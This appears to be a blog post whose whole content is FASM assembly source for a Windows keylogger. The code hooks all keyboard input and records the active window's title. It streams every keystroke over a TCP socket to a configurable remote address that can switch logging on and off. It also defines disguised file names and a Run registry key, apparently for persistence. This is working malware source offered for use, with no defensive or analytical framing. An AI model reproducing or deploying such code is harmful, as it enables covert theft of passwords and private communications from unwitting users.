22:18

Fasm keylogger for windows


Code:
include 'C:\fasm\include\win32ax.inc'
.data
IP db '127.0.0.1',0
nArch db '\Logdrive.dll',0
nFile db '\Regdrive.exe',0
WinPath dd ?
Espacio db '\n',0
saltolinea db 13,10,0
hVentana dd ?
Rev  dd ?
ThreadID dd ?
hHook dd ?
hSock dd ?
hArch dd ?
hKey dd ?
MyPath dd ?
ifSock dd 0
fSize dd ?
dLeidos dd ?
Buffer dd ?
regdisposition dd ?
regSubKey db "SOFTWARE\Microsoft\Windows\CurrentVersion\Run",0
.code
start:

;Create a new thread for the Hook
invoke CreateThread,0,4096,Hookear,0,0,[ThreadID]

;We record size
invoke GlobalAlloc,GPTR,1024h
push eax eax eax
pop esi ebx edx

;Connection
invoke WSAStartup,200,eax
invoke socket,AF_INET,SOCK_STREAM,0
push eax
pop [hSock] ;Contains the Socket Handle

mov word[ebx],2
invoke htons,2000
mov word[ebx],2
mov word[ebx+2], AX
invoke gethostbyname,IP
add eax,32
invoke inet_addr,eax
mov dword[ebx+4],eax

.BucleConectar:
  invoke connect,[hSock],ebx,16
        cmp eax, 0xFFFFFFFF
         JE .BucleConectar
      .BucleRecivir:
      invoke GlobalAlloc,GPTR,1024h
push eax
       invoke recv,[hSock],eax,1023h,0
    mov [Rev],eax
    pop eax
    cmp [Rev],0
    jng re***r

   .if dword[eax] = '$Go'
   mov [ifSock],1
   .endif

   .if dword[eax] = '$Sp'
   mov [ifSock],0
   .endif

re***r:
    cmp [Rev], 0
       jne start.BucleRecivir

        .reiniciar:
        stdcall dword[closesocket],[hSock]
        stdcall dword[WSACleanup]
        jmp start
.end start

;launch hook in a new thread
proc Hookear
xor ebx,ebx
invoke GetModuleHandleA,ebx
invoke SetWindowsHookExA,13,KeyboardHook,eax,ebx
mov [hHook],eax
invoke GetMessageA,ebx,ebx,ebx,ebx
invoke UnhookWindowsHookEx,[hHook]
endp

;hook the key pressed
proc KeyboardHook,nCode,wParam,lParam
mov eax,[wParam]
cmp eax,WM_KEYDOWN
jne siguienteHook

mov eax,[lParam]
cmp byte[eax],VK_CAPITAL
je siguienteHook
cmp byte[eax],VK_LSHIFT
je siguienteHook
cmp byte[eax],VK_RSHIFT
je siguienteHook

.if byte[eax]=VK_RETURN
stdcall EnviarDatos,Espacio
jmp siguienteHook
.endif

.if byte[eax]=VK_BACK
stdcall ProcesarTecla,"{BACK}"
jmp siguienteHook
.endif

.if byte[eax]=VK_ESCAPE
stdcall ProcesarTecla,"{ESC}"
jmp siguienteHook
.endif

.if byte[eax]=VK_TAB
stdcall ProcesarTecla,"{TAB}"
jmp siguienteHook
.endif
.if byte[eax]=VK_LCONTROL
stdcall ProcesarTecla,"{CTRL}"
jmp siguienteHook
.endif
.if byte[eax]=VK_RCONTROL
stdcall ProcesarTecla,"{CTRL}"
jmp siguienteHook
.endif
.if byte[eax]=VK_RMENU
stdcall ProcesarTecla,"{ALT}"
jmp siguienteHook
.endif
.if byte[eax]=VK_LMENU
stdcall ProcesarTecla,"{ALT}"
jmp siguienteHook
.endif
.if byte[eax]=VK_SPACE
stdcall ProcesarTecla," "
jmp siguienteHook
.endif
.if byte[eax]=VK_DELETE
stdcall ProcesarTecla,"{DEL}"
jmp siguienteHook
.endif
.if byte[eax]=VK_RWIN
stdcall ProcesarTecla,"{WIN}"
jmp siguienteHook
.endif
.if byte[eax]=VK_LWIN
stdcall ProcesarTecla,"{WIN}"
jmp siguienteHook
.endif

.if byte[eax]=VK_F1
stdcall ProcesarTecla,"{F1}"
jmp siguienteHook
.endif
.if byte[eax]=VK_F2
stdcall ProcesarTecla,"{F2}"
jmp siguienteHook
.endif
.if byte[eax]=VK_F3
stdcall ProcesarTecla,"{F3}"
jmp siguienteHook
.endif
.if byte[eax]=VK_F4
stdcall ProcesarTecla,"{F4}"
jmp siguienteHook
.endif
.if byte[eax]=VK_F5
stdcall ProcesarTecla,"{F5}"
jmp siguienteHook
.endif
.if byte[eax]=VK_F6
stdcall ProcesarTecla,"{F6}"
jmp siguienteHook
.endif
.if byte[eax]=VK_F7
stdcall ProcesarTecla,"{F7}"
jmp siguienteHook
.endif
.if byte[eax]=VK_F8
stdcall ProcesarTecla,"{F8}"
jmp siguienteHook
.endif
.if byte[eax]=VK_F9
stdcall ProcesarTecla,"{F9}"
jmp siguienteHook
.endif
.if byte[eax]=VK_F10
stdcall ProcesarTecla,"{F10}"
jmp siguienteHook
.endif
.if byte[eax]=VK_F11
stdcall ProcesarTecla,"{F11}"
jmp siguienteHook
.endif
.if byte[eax]=VK_F12
stdcall ProcesarTecla,"{F12}"
jmp siguienteHook
.endif

.if byte[eax]=0xBA
stdcall isShift
cmp ecx,1
je NoBA
stdcall ProcesarTecla,"^"
jmp siguienteHook
NoBA:
stdcall ProcesarTecla,"`"
jmp siguienteHook
.endif

.if byte[eax]=0xBB
stdcall isShift
cmp ecx,1
je NoBB
stdcall ProcesarTecla,"*"
jmp siguienteHook
NoBB:
stdcall ProcesarTecla,"+"
jmp siguienteHook
.endif

.if byte[eax]=0xBC
stdcall isShift
cmp ecx,1
je NoBC
stdcall ProcesarTecla,";"
jmp siguienteHook
NoBC:
stdcall ProcesarTecla,","
jmp siguienteHook
.endif

.if byte[eax]=0xBD
stdcall isShift
cmp ecx,1
je NoBD
stdcall ProcesarTecla,"_"
jmp siguienteHook
NoBD:
stdcall ProcesarTecla,"-"
jmp siguienteHook
.endif

.if byte[eax]=0xBE
stdcall isShift
cmp ecx,1
je NoBE
stdcall ProcesarTecla,":"
jmp siguienteHook
NoBE:
stdcall ProcesarTecla,"."
jmp siguienteHook
.endif

.if byte[eax]=0xBF
stdcall isShift
cmp ecx,1
je NoBF
stdcall ProcesarTecla,"Ç"
jmp siguienteHook
NoBF:
stdcall ProcesarTecla,"ç"
jmp siguienteHook
.endif

.if byte[eax]=0xC0
stdcall isShift
cmp ecx,1
je NoC0
stdcall ProcesarTecla,"Ñ"
jmp siguienteHook
NoC0:
stdcall ProcesarTecla,"ñ"
jmp siguienteHook
.endif

.if byte[eax]=0xDB
stdcall isShift
cmp ecx,1
je NoDB
stdcall ProcesarTecla,"?"
jmp siguienteHook
NoDB:
stdcall ProcesarTecla,"'"
jmp siguienteHook
.endif

.if byte[eax]=0xDC
stdcall isShift
cmp ecx,1
je NoDC
stdcall ProcesarTecla,"ª"
jmp siguienteHook
NoDC:
stdcall ProcesarTecla,"º"
jmp siguienteHook
.endif

.if byte[eax]=0xDD
stdcall isShift
cmp ecx,1
je NoDD
stdcall ProcesarTecla,"¿"
jmp siguienteHook
NoDD:
stdcall ProcesarTecla,"¡"
jmp siguienteHook
.endif

.if byte[eax]=0xDE
stdcall isShift
cmp ecx,1
je NoDE
stdcall ProcesarTecla,"¨"
jmp siguienteHook
NoDE:
stdcall ProcesarTecla,"´"
jmp siguienteHook
.endif

.if byte[eax]=0x30
stdcall isShift
cmp ecx,1
je No0
stdcall ProcesarTecla,"="
jmp siguienteHook
No0:
stdcall ProcesarTecla,"0"
jmp siguienteHook
.endif

.if byte[eax]=0x31
stdcall isShift
cmp ecx,1
je No1
stdcall ProcesarTecla,"!"
jmp siguienteHook
No1:
stdcall ProcesarTecla,"1"
jmp siguienteHook
.endif

.if byte[eax]=0x32
stdcall isShift
cmp ecx,1
je No2
stdcall ProcesarTecla,'"'
jmp siguienteHook
No2:
stdcall ProcesarTecla,"2"
jmp siguienteHook
.endif

.if byte[eax]=0x33
stdcall isShift
cmp ecx,1
je No3
stdcall ProcesarTecla,"·"
jmp siguienteHook
No3:
stdcall ProcesarTecla,"3"
jmp siguienteHook
.endif

.if byte[eax]=0x34
stdcall isShift
cmp ecx,1
je No4
stdcall ProcesarTecla,"$"
jmp siguienteHook
No4:
stdcall ProcesarTecla,"4"
jmp siguienteHook
.endif

.if byte[eax]=0x35
stdcall isShift
cmp ecx,1
je No5
stdcall ProcesarTecla,"%"
jmp siguienteHook
No5:
stdcall ProcesarTecla,"5"
jmp siguienteHook
.endif

.if byte[eax]=0x36
stdcall isShift
cmp ecx,1
je No6
stdcall ProcesarTecla,"&"
jmp siguienteHook
No6:
stdcall ProcesarTecla,"6"
jmp siguienteHook
.endif

.if byte[eax]=0x37
stdcall isShift
cmp ecx,1
je No7
stdcall ProcesarTecla,"/"
jmp siguienteHook
No7:
stdcall ProcesarTecla,"7"
jmp siguienteHook
.endif

.if byte[eax]=0x38
stdcall isShift
cmp ecx,1
je No8
stdcall ProcesarTecla,"("
jmp siguienteHook
No8:
stdcall ProcesarTecla,"8"
jmp siguienteHook
.endif

.if byte[eax]=0x39
stdcall isShift
cmp ecx,1
je No9
stdcall ProcesarTecla,")"
jmp siguienteHook
No9:
stdcall ProcesarTecla,"9"
jmp siguienteHook
.endif

.if byte[eax]=VK_NUMPAD0
stdcall ProcesarTecla,"0"
jmp siguienteHook
.endif
.if byte[eax]=VK_NUMPAD1
stdcall ProcesarTecla,"1"
jmp siguienteHook
.endif
.if byte[eax]=VK_NUMPAD2
stdcall ProcesarTecla,"2"
jmp siguienteHook
.endif
.if byte[eax]=VK_NUMPAD3
stdcall ProcesarTecla,"3"
jmp siguienteHook
.endif
.if byte[eax]=VK_NUMPAD4
stdcall ProcesarTecla,"4"
jmp siguienteHook
.endif
.if byte[eax]=VK_NUMPAD5
stdcall ProcesarTecla,"5"
jmp siguienteHook
.endif
.if byte[eax]=VK_NUMPAD6
stdcall ProcesarTecla,"6"
jmp siguienteHook
.endif
.if byte[eax]=VK_NUMPAD7
stdcall ProcesarTecla,"7"
jmp siguienteHook
.endif
.if byte[eax]=VK_NUMPAD8
stdcall ProcesarTecla,"8"
jmp siguienteHook
.endif

cmp byte[eax],65 ;VK_A
jl siguienteHook
cmp byte[eax],90 ;VK_Z
jg siguienteHook

;Letras A-Z
stdcall isShift
cmp ecx,1
jne listo
mov eax,[lParam]
add byte[eax],32
listo:
stdcall ProcesarTecla,eax

siguienteHook:
invoke CallNextHookEx,[hHook],[nCode],[wParam],[lParam]
ret
endp

proc ProcesarTecla,tecla         ; process the key tecla captured
;cmp [ifSock],1
;je sEnviar

;sGuardar:
;invoke GetWindowsDirectory,WinPath,1024
;invoke lstrcat,WinPath,nArch

;invoke CreateFile,WinPath,GENERIC_READ,0,0,OPEN_ALWAYS,0,0
;mov [hArch],eax

;invoke GetFileSize, [hArch],NULL
;mov [fSize],eax
;invoke LocalAlloc, LPTR,[fSize]
;mov [Buffer],eax
;invoke ReadFile,[hArch],[Buffer],[fSize],dLeidos,NULL
;invoke CloseHandle,[hArch]

;invoke lstrcat,[Buffer],[tecla]

;invoke CreateFile,WinPath,GENERIC_WRITE,0,0,CREATE_ALWAYS,0,0
;invoke lstrlen,[Buffer]
;invoke WriteFile,[hArch],[Buffer],eax,dLeidos,NULL
;invoke CloseHandle,[hArch]
;ret

sEnviar:
invoke GetForegroundWindow
cmp eax,[hVentana]
je enviartecla

mov [hVentana],eax
invoke GlobalAlloc,GPTR,256
push eax
invoke GetWindowText,[hVentana],eax,256
pop eax
mov ebx,eax
stdcall EnviarDatos,Espacio
stdcall EnviarDatos,Espacio
stdcall EnviarDatos,ebx
stdcall EnviarDatos,Espacio
enviartecla:
stdcall EnviarDatos,[tecla]
ret
endp

proc EnviarDatos,datos
invoke lstrlen,[datos]
invoke send,[hSock],[datos],eax,0
ret
endp

;Función para obtener el estado de las mayúsculas
proc isShift
invoke GetKeyState,VK_CAPITAL
cmp eax,1
jl pulsada
jmp nopulsada

pulsada:
invoke GetKeyState,VK_SHIFT
cmp eax,1
jg noShift
jmp siShift

nopulsada:
invoke GetKeyState,VK_SHIFT
cmp eax,1
jg siShift
jmp noShift

siShift:                 ; Return 0 if is shifted, 1 if isn't
mov ecx,1
ret

noShift:
mov ecx,0
ret
endp

0 comments: